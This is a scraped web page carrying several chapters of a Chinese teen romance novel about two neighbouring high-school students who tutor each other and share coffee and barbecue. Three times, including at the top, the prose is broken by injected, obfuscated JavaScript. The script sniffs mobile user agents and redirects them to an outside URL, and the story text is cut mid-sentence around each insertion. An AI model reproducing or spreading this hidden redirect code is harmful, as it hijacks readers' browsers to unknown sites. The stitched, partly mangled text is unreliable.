;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13548167|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目送两个女生离开,齐恩拧了把锋利的眉心, 她没什么好说的,但也不会后悔施以援手。 每个人有自己处事的方式,有些人习惯隐忍,有些人擅长爆发。齐恩不是凡事都能“忍字头上一把刀”的人,刀架在她脖子上,她当然会不舒服。但她并不厌恶隐忍的人,他们比她想得更不容易,时时刻刻压抑着仇恨,譬如那些所谓的好学生女孩,和眼前不语的卢俜。 他看着她掌心的伤,深棕的眉蹙得很重: “有根倒刺卡进去了,先把血处理一下。” 齐恩翻转自己的手腕:“我自己来。” “是右手,你一个人不好搞。” 这家伙,怎么了?齐恩抬眼瞧他,只看到清晰的下颚线,嘿,卢俜不是很抵触肢体接触吗? 他把她的手放到水龙头底下清洗,一开始没有碰到伤口,齐恩问他,为什么会出现在这儿。 卢俜说是自己从图书馆回教室,好啊,明明他也搞翘课这一套,为什么方婕就偏偏逮着他们十七班人薅?越想越生气,齐恩没了好脸色。 “我,自,己,来。” 一字一顿地挣开他。 昨天傍晚说明白了、也说开了,齐恩对此没有多耿耿于怀。即使之后校内校外再碰到卢俜,她也可以笑着和他打一声招呼。只是,再近的邻居也不是朋友。卢俜并不是齐恩的朋友。 她揉搓着手上的灰泥,心里在想事情,并没有注意倒刺的位置,护乱碰到,轻嘶了一声。 “……小心。”卢俜关停了水。 “我带你去医务室包扎。” “小伤,不需要。” “你的手上还有倒刺……”卢俜没松手。 “那怎么?你大发慈悲帮我拔出来啊?” 齐恩语气并不好,以为这木头就知难而退了。没想他说:“那我拔出来,你忍着一点。” 话音未落,卢俜已经有了动作。齐恩意外地“诶”了一声,想阻止已经来不及了。 这卢俜!这档口这么积极做什么?故意的吧? 他二话不说就上手,也不和她打个商量。 齐恩自己拔不会害怕,可别人她不放心。 她下意识紧闭了双眼。 不知过了多久。 “……好了。” 疼痛在逐渐消散,卢俜握住她手腕的力道仍然收束。他的手比她大了好多,掌心是整支手最柔软的地界,他用左手的掌心托住她的手背,固定住她的瑟缩,卢俜不会给人以侵略感。 齐恩睁开眼,气息扑撒在两人接触的区域上。 濡湿的水痕同汗液,青涩的肌肤和阳光亲密。 好像很夏天。 好像很校园。 “你……也不和我说一声。” 齐恩把手背在校裤上擦拭。 “抱歉。”常用的措辞,“你感觉好些吗?” “不是很痛了。”齐恩提起脚下的塑料袋,“要快点回去了,还给高玟她们带了冰水。” 卢俜也俯身拿起凌乱的书本,齐恩才注意到。因为救人,他也扔了书,和她一样的愣头青。 其实他们也算同一种人吧? 两人一起往教室去,到三楼再分开,齐恩回了班,找袁礼米要了一只创可贴处理手上的伤。谌俞问她怎么弄的,她说是磕碰的。张其薪看了她那只手有点儿久,齐恩的袖口脏兮兮的。 但齐恩就是那种撒谎也面不改色的性子。 更不在乎会不会被人看出端倪。 放学后,谌俞背着书包问她要不要一起回家。不顺路怎么一起回家?齐恩没揭穿他,只笑了笑,推辞说自己今天要值日。 谌俞走后,齐恩擦黑板,瞥见门口的人。 是卢俜,非常规矩的站姿。他先开了口。 “你今天留晚自习吗?” “不留,回去夜跑。” 卢俜摸着泛红的耳垂。 “我也不留。” 齐恩想了想:“还是留吧,要订正卷子。” 卢俜抿了抿干涩的唇:“……我也留。” 齐恩终于察觉了,她笑起来:“你干嘛啊?” 卢俜略偏过头去,阳光照在毛茸茸的卷发上。 “……等你放学。” 14. 书呆子们 说不高兴,当然是不可能的。 齐恩只能控制住自己别太得瑟。 “怎么呢,卢俜,怎么又要等我回家了?” 卢俜料到她会拿乔,可仍然被侃到脸颊发烫。 “谁等我放学呀?”齐恩面露疑惑,故意略过面前的卢俜,四处张望,“谁啊?谁?” “……我。”卢俜只好说,“是我等你。” “等我做什么?”齐恩恍然大悟,“堵我?” “不是堵你。”卢俜捏紧衣角,“是回家。” “什么?声音太小了,听不见。” “等你一起回家!”卢俜豁出去了。 齐恩见他都快社死了,这才不逗弄。她利落地单肩背书包,神似熹贵妃回宫,胜利者的姿态摆足了,才一步步走近,平伸出自己的手: “小卢子,回聚民宫。” 卢俜不知道这是什么梗,她伸手,他就伸出自己的胳膊给她架。之前齐恩脚没好的时候总是这样,所以此时此刻,卢俜下意识就做了。齐恩还以为他在朝她行礼呢:“免礼,平身!” 卢俜反应过来,窘迫地收手。 两人并肩往教学楼外走去。 “话说恭喜你哦,又是全校第一。”齐恩最佩服他这个,“你是怎么做到的?” “学就行了。”卢俜并没有过分自谦,“时间、精力、心态,缺一不可的事。” 他又问齐恩:“你这次考得不也挺不错么?” “也就政治一门。”齐恩觉得全凭运气。 “张其薪才厉害!咱们年级文科第一!” 卢俜知道。张其薪从前在一班成绩就不差。 “那你和他谁成绩更好些?” “……没什么好比的。” “诶———说嘛!说给我一个人听就行!”齐恩拿肩膀拱他,“我们悄悄地,打枪滴不要!” “……应该是我吧。他没有超过我的时候。” 齐恩咋舌,你学神还是你学神,和学霸不止有一点点区别:“咱们卢俜墙也不是白叫的。” “……什么卢俜墙?” “你该不会不知道吧?”齐恩笑说,“咱一高的论坛啊,你搜‘卢俜墙’出来的都是。” 卢俜蹙起眉头,齐恩给他科普:“还有说你、方婕还有我三角虐恋的,你平时不看论坛?” 这些人什么都能聊,卢俜说,他不看这些。 “正常啦,酷哥从不回头看爆炸。” 卢俜不懂她说的话,其实很多时候他和齐恩交流都有壁。他不是高玟,如果是高玟,就会指着帖子骂“脑子就是这么看坏掉的”“这些人治好了也是流口水”,然后和齐恩笑作一团。 所以他只是心平气和。 “没有那样的事。” “什么事?”齐恩在给食堂钟楼的落日拍照。 “我和方婕之间,没有他们传的那些。” 齐恩定定地瞧着他:“你是淡人吧?” “那又是什么?”卢俜还有些耐心。 “浓人和淡人啊。”齐恩解释,“浓人就是做什么都很有情绪,虽然容易被影响。淡人就是那种人淡如菊、心如止水的人,无论遇到好事坏事都很平和,就像情绪稳定的卡皮巴拉。” 卢俜不知道自己算不算后者。 “感觉你是不太容易急眼的类型。” 卢俜心想,所以你才总是欺负我。 齐恩注意到他哀怨的眼神:“别看我!我可没欺负你啊,那都是开玩笑的,我哪次不顾及你意愿了?别人还说啥,说我摔楼梯之后就一直像大蟒蛇一样死死缠着你,说我在温书记面前构陷你,说我卖惨……拜托!是我欺负你了吗?你自己说说,我什么时候真欺负你了?” 之前酒店那次不算么。 算了。卢俜对自己说。 “你没有欺负我……如果学校里再有人误会,你按自己想的跟他们解释,随便怎么说。” “你这话说得好听,光我一个人解释又有什么用。”齐恩说,“也得某些人信才行啊。” “这个事,我和方婕摊明了。”卢俜垂眸,“以后她不会再瞎说那些有的没的了。” “你就这么水灵灵地和她说了?!”真是中国速度,“这可不像你的作风啊,好学生。” “没想到会对别人造成影响,是我的问题。” “别人?那我呢?”齐恩叫嚷。 “感情不是因为顾及我啊!” “……” “好吧好吧,算我自作多情了……”齐恩故作抚心,“那你以后不就翘不了课了吗?” 卢俜疑惑道:“这和翘课有什么关系?” “方婕是会长啊,她不帮你,你怎么翘课?” “我不用她帮,我有温主任开的长期条。” “嗬哟你!”齐恩瞪他,“那你一天到晚把兜帽一戴,我还以为你是不正当理由翘课呢!” “不上课本来就和学校里的规章制度不吻合,不管正不正当,温主任都说过要我低调些。” “书呆子们!”齐恩翻了一个大大的白眼,“读你的八股文读傻了吧,我要是有长期条,别说上课了,学校我都不见得来。夏天还好,要是大冬天,冷都能冷死,一点也起不来!” 卢俜不搭理,好在齐恩能自个儿说下去:“而且既然都是翘课自学,干嘛不在家里学啊?” “温主任不让。”卢俜说,“毕竟是学生。” “毕竟是学校的活招牌,是吧?”齐恩了然于心,“未来的状元郎,行走的招生简章。但是学校那么多人呢,你不是爱耳根子清静吗?” “上课时间在图书馆里,遇不到什么同学。” “而且……”卢俜其实没必要说出来。 “学校和家里也没差,都……很安静。” “你难道就没有体验过交友的乐趣吗?” 和人打交道,很麻烦,卢俜说不知道。 “嘿!那算什么意思!”齐恩夸张地大喊,“我难道不算你的朋友吗?啊?啊?!” 卢俜在齐恩下一次撞他肩膀的时候躲开了。 这是路上,又不是私人场合,干嘛非要这样? 不,也不是在私人场合就可以的意思。而且,朋友才不会……莫名其妙就把卢俜看光光! “邻居。”他用地缘界定他们之间的关系。 “还有这样的说法,和朋友有什么区别吗?” “……更近一些。” “好吧,邻居。” 齐恩喜欢这个解释。 到聚民社区了,学区房唯一的好处就是离学校近,走个十几分钟就到。齐恩这时候已经热得精神恍惚了,喊了卢俜一声,抬脚往小区门口的咖啡店走去:“我们去搞点冰的喝吧。” 卢俜也很热,这是一方面,另一方面是齐恩决定的事通常就立刻执行了,不会给卢俜想办法拒绝的空隙。他们到咖啡店里,小程序点单,卢俜不喜欢喝这些,齐恩看到套餐还是点了。 “送国家羽球队的小挂件呢!”齐恩接过店员递来的周边,漆黑的眼睫遮不住眼底的星光。 “你看,这个是我喜欢的选手,庄羽。”齐恩展示给他,“画的好萌,可爱死了!” 卢俜“嗯”了一声,接过,认真看了一会儿,再递还给她。齐恩又去拿做好的咖啡,“一杯生椰拿铁,一杯燕麦拿铁,你要哪一杯?” 不过她很快又改口:“我要燕麦的,低GI。” 卢俜拿过齐恩挑剩的那一杯,朋友就是喝对方不要的吗?他默默地想,就她这态度,还大言不惭说朋友。喝了一口,味道意外的不错,醇厚甘甜的椰乳香流连舌间,有太妃糖的香味。 “好喝吧?”齐恩得意地朝他挑起浓眉,“喝完回去又可以挑灯夜读了,我们好学生。” 卢俜谢谢她的咖啡,齐恩笑得轻佻。 “小意思呀,我们不是邻居吗?” 两个人边喝冷饮边吹空调,很快降下温来。 “有可以一起喝咖啡解暑的人,还不错吧?”齐恩劝说,“你应该开朗一点,都是高中生,干嘛一天到晚我行我素?本来学习就太好了,性格又怪,就很容易不讨人喜欢,知道吗?” 卢俜心想他本来也不是讨人喜欢的人。 而且何必为了讨他人的喜爱而存在。 “你看你这小猫脸,又噜噜下来了,说你俩句就不乐意,把嘴一瘪,把咖啡喝得那么快。” 卢俜本来喝东西就快,这和耐不耐烦没关系。 他说:“我没有噜噜个小猫脸。” 卢俜喝完了,齐恩还没喝完,坐在对面光线好的角落给周边拍照。他干脆摊出化学笔记本,消化着老师上课讲的反应速率计算题。齐恩拍完照发现他还在学习,气得脖颈青筋暴起: “咱们都放学了!老哥!你偏要看书内卷是几个意思啊?书里面到底有谁在啊?!” 这梗出自最近很火的一档女性成长主题电视剧,齐恩把刻薄丈夫的形象演得绘声绘色。 卢俜简直是怕她这样了,讷讷地合上书。 “我开玩笑的。”齐恩大咧咧地摆了摆手,“你可以反驳我,说,书中自有黄金屋。” “好吧。”卢俜说,“书中自有黄金屋。” “那颜如玉呢?”齐恩嘴角狡黠地勾起。 卢俜迟钝地望着她。 齐恩指了指自己。 “眼前啊!” 喝完咖啡,回居民楼。齐恩到了三楼,卢俜还要再爬一楼。到四楼,酡红的余晖就彻底消失了,好像世界都被拖进深刻的灰色里。明明只是抬了脚,眼前一切的色彩就倏然变成黑白。 这只是他的感官而已,正好落日只打亮三楼的楼道,再往上的台阶没有光线了,仅此而已。 并不是因为即将和繁华事物分别而产生情绪。 卢俜依稀记得,在他很小的时候,喜欢被家长带着出远门、去自己期待已久的地方的感受。 只是去过之后,会产生某种强烈的、筋疲力竭的尽兴感,后来他知道这个叫戒断后遗症。 卢俜的脚步变得有些沉重。 他自己却对此毫无察觉。 “喂,好邻居。” 齐恩喊住他。 回过头的一瞬间,靓丽的红橘金砂撞进眼眶。齐恩单肩挎着包,侧倚着身子,校服在她身上显得有朝气,不像日落,像朝阳冉冉升起。 她光洁如珍珠表面的脸颊上,眉目棱角分明,太锋利了,却又因那顽劣的笑容而干净澄澈。卢俜一瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567115|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间呼吸停滞,出于对美自发的敬畏。 “俗话说,远亲不如近邻,如果有困难的事,欢迎随时来敲我家的门哦。” 她很慷慨。 旖丽是,善意也是,随手给予他人。 即使是像他这样无趣乏味而疏离的人。 卢俜点了点头,由此放任自己的行为,也许他也朝她微笑了一下,也许没有。撕开一道灵魂到躯壳的裂缝,他再次上行,步伐却变轻快。 回到自己的家,卢俜打开灯,客厅缄默的摆设依旧,冰冷而无感。他去冲了个凉,洗完澡做了一会儿《走向IMO》,把目标的页码完成,拍照发给柯老师,再勾选着明天要做的题目。 顺带看了眼时间,已经深夜十一点半了。弄到好晚,每天不都是这样么,卢俜洗了把脸。穿过客厅的时候,他突然停下,悄步走过去,像在骗过谁,透过内窗看向对楼花坛边的房门。 灯还亮着,对门的邻居没睡,在做些什么? 不,这并不是他该关心的事。 她也喝了咖啡,没睡是理所应当的,卢俜沉默地喝着冰茶,翻看手机。单调的朋友圈里突然蹦出来一条新动态,齐恩发的,在咖啡店那会儿。她拍了很多照片,没有自己,只有吧唧。 她管那个叫吧唧,只是铁制的徽章而已。其实她自己作为运动选手也有那种东西吧?偶然听周第提起,她的周边在黄鱼软件上炒得很贵,带亲签的更是天价难求。如果把齐恩关在地下室里签名再拿出去卖,恐怕是暴富的密码。 这样一个耀眼的人就出现在自己身边。卢俜原本没想着和她产生交集,现在却是比旁人亲近的关系。他这样想着,翻看某张照片时发现自己也入镜了,只有一小撮棕色的卷发,不仔细看根本看不出来,或者他本身就在寻找自己的痕迹。配的文案是半眯眼坏笑的小黄豆表情。 非常齐恩。 古灵精怪。 给她点了个赞,算是某种意义上的认同。 卢俜又点进她的朋友圈,里面只有寥寥几条,扔掉拐杖的那一天,她发了一个长长的yeah,其次就是去年冬奥会期间举着奖牌的合影。 和卢俜印象中女生的朋友圈不同,没有自拍,没有落日晚霞,没有晦涩的文案。齐恩的头像就是系统自带的,灰白人影的那种。因为本身是有趣的人,所以再简单也会让人感到好奇。 过了三分钟,齐恩给他发了消息。 “也没睡?还在学习呢大学霸?” 卢俜回:“没有了,打算休息了。” “我也,数学太难了,学不明白。” 后面跟着一个熊猫头流汗的表情包。 卢俜不知道发什么,好在齐恩从不让话题冷场:“小卢辅导,这道导数大题怎么写啊。” 她随后发来某个题目,应该是高考调研的题,学校规定的复习教材。卢俜说等会儿,手写了大步骤传给她:“第三小问难度有点,目标式化简两次,然后再分情况讨论。它条件给的有点隐晦,联立第二小问的答案还是可以做。” 齐恩老实回答:“我自己想不出来。” 卢俜知道她缺少的是规范化的思路。 “你写的题太少了,多写,会有收获的。” “谢谢卢太傅。”齐恩发了小皇帝的表情包。 “太傅,明天是周末,你有什么打算吗?” 卢俜说,复习,因为马上就要期末考了。 “那我去你家找你吧,还有几道题不是很懂,想问一下你,都是这次月考数学卷的。” 对方显示正在输入中,齐恩靠着椅子转一圈,以为卢俜肯定又摆出那副不情愿的死出。 没想到应得很快:“不是月考卷也可以问。” 齐恩十分惊喜,连发了好几个感叹号。 “从现在开始我改名叫齐恩(恩师卢俜)。” 无法理解的梗,卢俜索性扯开话题。 “你这么晚还不睡么?” 没想到齐恩立刻弹了个语音电话进来,卢俜迟疑片刻,还是接起。“你听听我新买的这个音响,还可以吧?3D立体环绕效果特别好!” 醇厚的女嗓音流淌着。 英文歌,不知道歌名。 只有一句反复循环的歌词。 Ibeenanastygirl 卢俜听了一会儿,实话实说:“没听出来,可能现场听的效果很好,但手机扬声器不行。” “你如果现在来我房间,肯定就能听出来。”齐恩信誓旦旦的,“五位数的价位呢!” 如果,都说了是如果。 卢俜深吸了一口气。 “……早点睡吧。”他说,“熬夜不好。” 齐恩说精神得很,又问他平时什么作息。 “零点左右。” “周末也是?” “周末也是。” “那就快到你睡觉的时间了!”齐恩感慨,“书呆子,快去睡吧!”她立刻挂断了电话。 吵闹声和音乐都被掐灭,像夜间骤熄的焰火。 卢俜起身,从客厅回到卧室,平躺着睡下。 脑海里还回放着那句歌词。 Ibeenanastygirl 我一直是刁蛮任性的坏女孩 15. 我人不坏 周六,齐恩敲响了卢俜家的房门。 独居的高中生们终于踏入彼此的领土。 “早上坏!”齐恩打了个哈欠。卢俜回了一句早上好,递给她一个还没拆开的女式拖鞋。 “啊,该不会是你一大早去买的吧?” “也不早了,都快中午了。” 卢俜早上七点起的床。 齐恩揉了揉干涩的眼,坐在沙发上换着拖鞋,缓缓地打量着他的客厅:“好干净好简约啊,看起来像网图一样,没什么生活气息。” 卢俜确实不常待在除了卧室以外的地方。 “有没有零食?”齐恩说,“我没吃早饭。” 卢俜实在没忍住:“你应该吃的是午饭。” “行了啊。”齐恩翘二郎腿,“你话真密。” 卢俜打开厨房的冰箱,齐恩迫不及待地挤到他身前,自顾自翻找着。家主人心平气和地问: “你是来吃饭的,还是来问题的?” “你这儿不管饭啊老师?”齐恩只找到面包,“就这个?这么干巴啊?还有别的吗?” “你想吃什么?”卢俜拿了瓶冰茶给她。 “家里没什么吃的。” “没事,凑合一顿吧,我下午还有别的事。” 卢俜其实已经做好被她打扰一整天的准备,她临时有别的事,他下意识问:“什么事?” “RMG的专访,下午要到文化广场一趟。” “没事,如果你有别的事,下次也可以问。” “没事哒没事哒,没事哒!” 齐恩从书包里翻出月考卷,“先开始吧。” 卢俜拿过试卷,“用红笔圈出的这些题?” “不是。”齐恩嘿嘿一笑,“这些是我自己能写出来的,剩下的才是我不会的。” 真是繁琐的工程量,卢俜拧了把眉心。 不知道一个上午能不能讲完。 “先从选择题开始吧。”卢俜拿起笔,“集合没问题,复数没问题,向量和三角函数……” “第五题你错了,是计算错误?”卢俜说,“圆锥的体积公式记得吧?就是三分之一。” 齐恩点头,卢俜拿出草稿纸。 “自己再算一遍长点记性。” 真是像模像样的老师,齐恩乖乖接过笔重算。等她算完,卢俜已经把答题卡都翻看一遍。 “我让你带的蓝本2000题,你带了吗?” “带了带了。”齐恩从书包里拿出教辅。 卢俜接过圈出了几题:“导数做的乱七八糟,你先试试手,看看自己写不写得出来。” 卢俜料想的没错,齐恩很快在第一题卡住了。 “求个导知道,三角函数化简就不知道了?” “哦哦哦!我怎么感觉有点眼熟呢。” 卢俜无话可说,从最简单的教起吧。很多理所当然的概念技巧,到齐恩这儿都是第一次学。 “还可以这样!那用排除法不都不用算了?” “常规方法不用,基础没打牢就想着偷懒。” 卢俜是个好老师。有时候齐恩都觉得自己有点蠢,但他只是耐心解答,用没有数学思维的人也能听懂的方式。有的人只习惯向上兼容,但卢俜却能理解她的思路,再把岔路纠正过来。 “哦———”齐恩恍然,“我知道了知道了。” 终于做出一道难题,齐恩高兴得手舞足蹈。 “我看我明年就能去参加数学奥林匹克了!” 是臭屁话,卢俜不会贬她,当然也不会认同。 耗时三小时,总算讲完了选填。 齐恩的脑容量已经告急。 “行了,太傅,让朕缓一缓。”她扶着脑袋,伸着脚靠在沙发上,“现在是几点了?” “两点。”卢俜问,“你是不是要出发了?” “没事,这里打车过去很快的。”齐恩说,“你不吃午饭吗?”卢俜说有全麦面包。 “那玩意儿能天天吃吗?难怪这么瘦。” 他很瘦吗,卢俜流露出不认同的神情。 齐恩就提起城市便捷酒店浴室的那一回。 “……行了!”好学生的耳尖倏然红起来。 “不要一直提。” 最终卢俜还是和齐恩一起出门。齐恩回家放了趟书包,换一身得体些的装束再下楼。卢俜在楼底下等她,两个人走出社区,在街口随便吃点。齐恩点了份鸡汤,边喝边打车。 叫到车了,齐恩起身往外走,又折返回来。 “我估计晚上七八点忙完,到时候回聚民。” 她没必要给他报备行程。 卢俜只说了一声好。 齐恩停顿了一会儿,看着低头吃饭的卢俜,见他没有要说话的意思,又开口:“反正你午饭也吃得很晚,如果等得及,就一起吃夜宵吧,当作你给我讲题的答谢。” 这回卢俜多说了几个字:“不用,没什么。” “不!”齐恩认真地纠正,“你要说,好。” “……好。” 霸道的人。 齐恩满意地颔首,她转身离开了。推开店门,阳光洒下来,她心情很好,快步往路边去。 在她转过身的时候,卢俜才敢看她。 笔直的肩,修长的腿,干净利落。 他坐在玻璃橱窗里,心跳变快了些。 他很清楚,齐恩对他的热情有时效性。等到她觉得他无趣了,也许会试着保持些距离吧。 平静地吃完了午饭,卢俜结账离开。 没有直接回家,而是去附近的商超。 他推着购物车往有食物的地方去,不知道齐恩喜欢吃什么,又觉得自己在做没必要的事。他开始有点怀疑自己在想什么,她说面包很干巴,是难以下咽的意思,还是指没什么味道? 他拿出手机搜索,很快有了答案。一段四年前的采访,齐恩稚嫩的脸出现在屏幕上。记者问她喜欢吃的零食,她说吃得最多的是薯片。 薯片,卢俜拿了几袋不同的口味,还有坚果、泡芙、奶酪条。像在做某种采购的任务,莫名其妙就把推车装满了。他去收银台结账。 导购说可以换购零食,卢俜面无表情说随便。 “看来您不爱吃呀,是给家里小孩买的吗?” 齐恩确实很幼稚,这么想着,他赌气地点头。 卢俜最终拎着大包小包的零食回家。 把空荡荡的冰箱填满,他站在客厅的正中央,缓缓扫视四周的家具,从沙发到茶几,从橱柜到墙壁……没什么生活气息吗?卢俜从前没有这么觉得,出租屋不过是个落脚的地方,迟早要搬离,为什么要留下不属于自己的痕迹? 卢俜不再思考这些了。 . 晚上八点,他收到了齐恩的消息。 “我下工了,老哥,出来整点烧烤?” 卢俜刚刷完一套生物卷,摘下鼻梁上的眼镜,揉了揉被压红的地方。夜间出行,他干脆把没度数的平光眼镜放进盒子里,再洗了一把脸。 “你在哪里?”他边下楼边发消息。 “东北烧烤这里。我发定位给你。” 离社区有两公里远,他扫了个共享单车骑。 十分钟后,齐恩见到了卢俜。没戴眼镜,刘海因为汗湿而往上撂,清秀的眉眼有书生气。 “哟。”她眼前一亮,“稀奇啊,好学生,今天舍得把你那格拉斯伊斯摘下来了?” 突然蹦出一句无厘头的中式英语。 还是从齐恩这个中美混血的嘴里出来。 卢俜没忍住,嘴角小幅度翘起。 “你笑了。”齐恩大声地指出。 卢俜在对面坐下,嗯了一声。 “吃什么?”齐恩把油乎乎的菜单推过去,“我点了羊肉串、烤土豆和烤茄子。” 卢俜说都可以,齐恩问你不忌口吗,他想了想,说吃不惯腰子和鞭子,吃不了太辣。 点完菜,齐恩问喝不喝酒。 卢俜说自己以前没喝过。 “没喝过?!”齐恩像见到新物种,“真的假的,啤酒也没喝过吗?一点酒也没沾过?” 得到了否定的回答,齐恩摇头感慨: “这天底下还有没喝过酒的学生!” “像我们队里,每次比完赛就是下馆子,和教练队员一起,八成要喝的。”齐恩给自己斟了一杯珠江97纯生,“这边人爱喝这种,我觉得挺浓的,麦芽香气很重,你要不要试一试?” 卢俜迟疑片刻,齐恩已经给他倒了半杯。 “尝尝!”她说,“小猫都知道舔一口。” 卢俜不是小猫,他已经和她纠正了一万次。 抹去唇边酒沫,他说:“有点像面包汽水。” “是吧?其实挺好喝,配烧烤特别得劲儿!” 酒喝了,菜还没有上,齐恩继续刚才的话题。 “难道你去吃席,亲戚不劝你酒吗?” “没有。”卢俜摇头,“也没吃过席。” “和家人过年走亲戚的时候不吃饭?” “他们也不带我,一般带卢佳去。” “……天!你这拿的是什么灰姑娘剧本!” “那你岂不是爹不疼妈不爱的?你爹妈是这边的本地人吗?他们没少过你生活费吧?” 唯独钱是不缺的,“没少过。他们是本地人,但不在这边居住。卢佳在这边上大学。” “所以那天来找你的,是卢佳的大学朋友?” “……我也不清楚。”那是卢佳的圈子。 “那她们这些天还有堵你吗?” “没有了。” “就是,有齐姐护着你呢,小卢你放心大胆地往前走!”齐恩把胸脯拍得很响,“以后要是被欺负了,就来找我,全聚民最好的邻居!” “……谢谢。”卢俜还不太习惯被罩的感觉。 “卢佳。”齐恩重复了一遍,“她为什么那么讨厌你啊?难道因为你亲妈是她后妈吗?” 不光是那样。其实原因卢俜大抵是清楚的,然而并不能多说,好在这时候烧烤也端上桌了。 齐恩把铁签朝向中间,这样谁都可以拿到。 她很会照顾人,卢俜意识到。 “你应该不是独生子女?” “我是独生女,为什么这么问?”卢俜说没什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“一班和十七班关系一直不太好……如果你怕受到影响,可以在学校里适当保持距离。” 齐恩听罢露出犯难的表情:“还是不要了吧,十七班的同学都对我挺好的。” “……我是说我。” 卢俜给自己倒一杯。 “你?”齐恩斜睨着他。 “一只小猫,有啥可怕?” 知道卢俜不懂,她直接播放一段音频:“老鼠怕猫,这是谣传!一只小猫,有啥可怕?壮起鼠胆,把猫打翻!千古偏见,一定推翻!” 卢俜简直服了她了。 “不要再说我是猫了。” “安啦安啦,你可是学神喵啊,学神喵就要有学神喵的傲骨,小说里你这种人设都是妥妥的男主角啊!冷漠的家,恶毒的姐,破碎的他。齐恩耸肩,“而且就算有人乱说又咋样,还把别人的嘴堵住吗?认识一个人如果只靠三言两语,那也太有失偏颇,这种人不深交也罢。” “……你是这么想的?” 卢俜再次将酒一饮而尽。 “有时候越了解一个人,往往只会更厌恶。” 卢俜把塑料酒杯捏得很紧,他有心事。 “但你肯定不是那样的人。” 齐恩直勾勾盯着他的眼。 “……你不能肯定。” “我敢肯定。” “因为你是猫。” “……” 两个人没把烧烤吃光,酒倒是喝完了。齐恩处于微醺状态,卢俜醉得有点厉害。齐恩看出来了,他说了很多平时根本不会说出口的话。 喝得人飘起来,显然只能打车回家了,好在路边有很多出租车经过,齐恩随手拦了一辆。 回到聚民社区,卢俜走路已经有点儿不稳了,齐恩笑话他,又问他喝醉的感觉如何。 “不是醉。”卢俜嘴硬,“就是有点飘。” “那还不是醉?”齐恩被他莫名撞了一下,差点儿绊到,不可置信,“你好好走路!” 卢俜没应她,离她稍微远了一点,又往护栏的方向贴过去。“诶诶!”齐恩拉住他的胳膊,“哥,那边是机动车道!你是一个行人啊!” “而且,你打转向灯了吗,就变道?” 卢俜笑了一下,走得稍微稳一点了。 把好学生给灌醉了,齐恩还有点负罪感。卢俜走路和醉醺醺的小猫一样,明明没喝多少,酒量奇差,她怀疑他真是一只小猫,没开玩笑。 又不亲近人类,又不爱出门,还很傲娇。 卢俜摸着栏杆走,齐恩疑心他能否自己回家。她扶着卢俜到他家门口,问他钥匙呢。 卢俜低下了头,双手摸索着短裤的口袋。 “要不今晚在我家过夜吧,我怕你喝麻了。” 卢俜闻言,停下试钥匙的动作,思索着。 “……不要。” 他轻哼一声。 “为什么?” “不安全。” “诶———”他一个大男的,怎么这么矜持,“那么提防我干嘛?好学生,我人不坏呀。” 卢俜捏着钥匙开了门,还是说,不行。 齐恩进了客厅,换鞋,他说不行不行。 齐恩说,我怕你第二天清醒了会恨我灌你。 卢俜嘀咕着“我不会恨你”就躺在沙发上。 齐恩想他能照顾好自己吗,她打开冰箱找茶给他解酒。冰箱很满,她下意识地咦了一声。 齐恩摸着发烫的脸颊。 她低低笑了起来。 16. 一只泡芙 齐恩打开冰箱有提示音,卢俜也听到了。 他手忙脚乱从沙发爬起来,快步去关上。 他靠着冰箱门,用肩膀抵住,维持着那个不让她继续打开的动作:“别乱翻我的东西。” 齐恩早看清了:“给我买的?下午买的?” 卢俜尴尬地说不出话,齐恩却笑得眉眼弯弯,唇红而齿白。在不停晃荡的视角里,她美丽的脸迫近里,逼供似的,缓慢“嗯?”了一声。 卢俜忽然觉得不能再看她了,他双手攀住齐恩的肩,俯身而下,然而,却强迫她掉转身体。背对她,他从身后推她,“你走吧,赶紧。” “你真没事吗?”齐恩诧异地扭过头。 “……没事。”卢俜不敢和她对视,只敢在手掌心使劲,“走,快点,从我家里出去。” “行,行。”看他羞的。 她还什么都没说呢。 卢俜把她推出门,又把门“砰”地关严实了。 齐恩揉着额发,无奈地叹了一声,隔着门喊: “还是那句话啊,有事找邻居。” 卢俜靠在门的另一边,开门时有热流涌进来,关门就好了。不一会儿,身体在冷气的作用下降了温度。他靠着鞋柜喝冰茶,喝了半瓶就好很多。去洗澡、去睡觉,卢俜,动起来。 他却鬼使神差走到窗边。齐恩家亮了起来,灯光是暖黄色的,从窄窄的正方窗宣泄出。 他把客厅的灯关掉,这样方便她觉得他睡下了。虽然卢俜也疑惑自己为什么要这么做。 齐恩回到家已经十一点半了,她去洗澡,把头发吹到半干,不是立刻上床,而是把卢俜白天讲的题消化了一下。他还勾了几道让她回去巩固,齐恩能写的就写,剩下的明天再问。 数学祭天,法力无边。 齐恩一夜好梦。 次日早上九点,齐恩在聊天框里戳卢俜。 “小卢猫课堂开课了,醒了没,还在睡?” “醒了。”卢俜回答,“你吃早饭了没?” “还没。怎么,你要请我吃饭吗?” 卢俜那边一直显示输入中,片刻才来消息。 “嗯,蟹王面馆这边,你下来吧。” 齐恩打着遮阳伞走到街头的蟹王面馆。 卢俜坐在店里,他穿一件白色短袖。 “哟,好巧。”齐恩身上是一件白吊带裙,“巧了你也穿的白色入镜。” 同色系的人做到一桌。 